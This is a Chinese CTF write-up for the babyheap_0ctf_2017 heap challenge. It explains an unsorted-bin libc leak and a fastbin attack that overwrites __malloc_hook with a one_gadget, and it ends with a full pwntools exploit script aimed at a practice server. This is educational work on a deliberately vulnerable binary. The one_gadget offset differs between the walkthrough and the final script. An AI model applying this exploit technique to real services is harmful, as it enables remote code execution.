babyheap_0ctf_2017

babyheap_0ctf_2017

第一道堆题目,理解不深,如有错误,请师傅们指出。类型:unsorted bin,fastbin attack

关于malloc_hook的作用:

当malloc函数调用时会检测 malloc_hook 是否为空,如果为空什么也不干,如果不为空,则跳转到 malloc_hook 记录的内存地址去执行,设置malloc_hook的地址为one_gadget,来getshell。

关于libc与main_arena等:

malloc_hook 的地址与libc基地址为固定值的偏移,所以需要泄露libc基地址。而 libc 基地址的泄露:利用当 unsorted bin 只有一个堆块时,fd、bk指针都会指向main_arena 位置,而main_arena与libc的基地址有固定值的偏移。整个泄露链子为:main_arena -> libc基地址 -> malloc_hook地址

Unsorted Bin Attack

Allocate(0x10) #0
Allocate(0x10) #1
Allocate(0x10) #2
Allocate(0x10) #3
Allocate(0x80) #4
Free(1)
Free(2)

image-20220910160812479

image-20220908230257876

payload = b'a'*0x18+p64(0x21)+b'b'*0x18+p64(0x21)+p8(0x80)
Fill(0,payload)

通过堆溢出将fastbin篡改

image-20220910160832884

image-20220908230800887

payload = b'c'*0x18+p64(0x21)
Fill(3,payload)

修改最后一个chunk的大小由0x80变为0x10

image-20220910161012658

image-20220908230955819

image-20220908231145977

Allocate(0x10)
Allocate(0x10)

此时申请两个chunk,2,4的指针指向同一个chunk

image-20220910161126371

image-20220908231906824

image-20220908232259594

payload = b'a'*0x18+p64(0x91)
Fill(3,payload)

扩大最后一个chunk,为了下面能进入unsorted bin中

image-20220908232339960

image-20220908232404026

Allocate(0x80) #5
Free(4)
Dump(2)

为了防止与top chunk进行合并,所以再次申请一个chunk,此时可以通过dump 2泄露指针

image-20220910161643753

image-20220908232600090

image-20220910170435967
然后就是对地址的处理,减去固定的偏移

unsorted_bin = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
log.info("unsorted_bin -> "+hex(unsorted_bin))
main_arena = unsorted_bin - 0x58

libc_base = main_arena-0x3c4b20  # main_arena与libc_base有固定偏移,main_arena_offset 工具
log.info("main_arena -> "+hex(main_arena))
log.info("libc_bsae -> "+hex(libc_base))

fastbin attack

现在需要去修改 __malloc_hook 的内容,那怎么去修改?现在有这一思路:我们可以利用上面的条件,操作指针2的chunk,先申请一个fastbin,通过堆溢出修改其fd,伪造一个fake fastbin,其中fake fastbin中包含__malloc__hook的地址,然后通过两次malloc就能操作fake的chunk,继而修改__malloc_hook的内容。

Allocate(0x60)
Free(4)

进入fastbin中

image-20220910171526181
通过指针2去伪造一个 fake fastbin

payload = p64(main_arena-0x33)
log.info('payload -> '+str(payload))
log.info("main_arena-0x33 -> "+hex(main_arena-0x33))
Fill(2,payload)

image-20220910171657641

那么这个fake fastbin是怎么来的,又要符合什么条件?首先符合fastbin的大小,其次在__malloc_hook地址附近

查看__malloc_hook 地址后,利用 find_fake_fast 快速找出fake fastbin的地址为 0x7f118d764aed,并且大小为0x7f,然后本地计算出与泄露的mian_arena地址偏移为0x33,便可根据题目泄露的main_arena找到这一地址。

image-20220910172546146

Allocate(0x60)  #4
Allocate(0x60)  #6
one_gadget = libc_base+0x4527a #0x4527a
log.info("one_gadget -> "+hex(one_gadget))
payload = b'a'*(0x13)+p64(one_gadget)
Fill(6,payload)

第二次申请就到了fake chunk,然后__malloc_hook与fake chunk地址差值为0x23,再减去chunk head的0x10,所以填充0x13的字符才到__malloc_hook,one_gadget一下找到so文件的shell地址即可

image-20220910173640869

Allocate(0x60)
r.interactive()

再次申请时,调用shell。

exp

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",29122)
#r = process('./heap')  # babyheap_0ctf_2017
#r = gdb.debug("./heap")

def Allocate(size):
    r.sendlineafter("Command: ",'1')
    r.sendlineafter("Size: ",str(size))

def Fill(index,payload):
    r.sendlineafter("Command: ",'2')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(len(payload)))
    r.sendlineafter("Content: ",payload)

def Free(index):
    r.sendlineafter("Command: ",'3')
    r.sendlineafter("Index: ",str(index))

def Dump(index):
    r.sendlineafter("Command: ",'4')
    r.sendlineafter("Index: ",str(index))

#-------Unsorted Bin Attack-----
Allocate(0x10) #0
Allocate(0x10) #1
Allocate(0x10) #2
Allocate(0x10) #3
Allocate(0x80) #4
Free(1)
Free(2)


# 篡改fastbin指向
payload = b'a'*0x18+p64(0x21)+b'b'*0x18+p64(0x21)+p8(0x80)
Fill(0,payload)
# 符合fast bin大小
payload = b'c'*0x18+p64(0x21)
Fill(3,payload)
# 两次申请,2、4指向同一chunk
Allocate(0x10)
Allocate(0x10)

# 为进入unsorted bin修改大小
payload = b'a'*0x18+p64(0x91)
Fill(3,payload)
# 防止top chunk合并
Allocate(0x80)
# 进入unsorted bin
Free(4)
Dump(2)
unsorted_bin = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
log.info("unsorted_bin -> "+hex(unsorted_bin))
main_arena = unsorted_bin - 0x58
libc_base = main_arena-0x3c4b20  # main_arena与libc_base有固定偏移,main_arena_offset 工具
log.info("main_arena -> "+hex(main_arena))
log.info("libc_bsae -> "+hex(libc_base))

#---------fastbin attack-------
Allocate(0x60)
Free(4)
# 伪造fake fastbin
payload = p64(main_arena-0x33)
log.info('payload -> '+str(payload))
log.info("main_arena-0x33 -> "+hex(main_arena-0x33))
Fill(2,payload)
# 申请到fake chunk
Allocate(0x60)
Allocate(0x60)
one_gadget = libc_base+0x4526a #0x4527a
log.info("one_gadget -> "+hex(one_gadget))
payload = b'a'*(0x13)+p64(one_gadget)
# 填入__malloc_hook
Fill(6,payload)
# 调用
Allocate(0x60)
r.interactive()
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值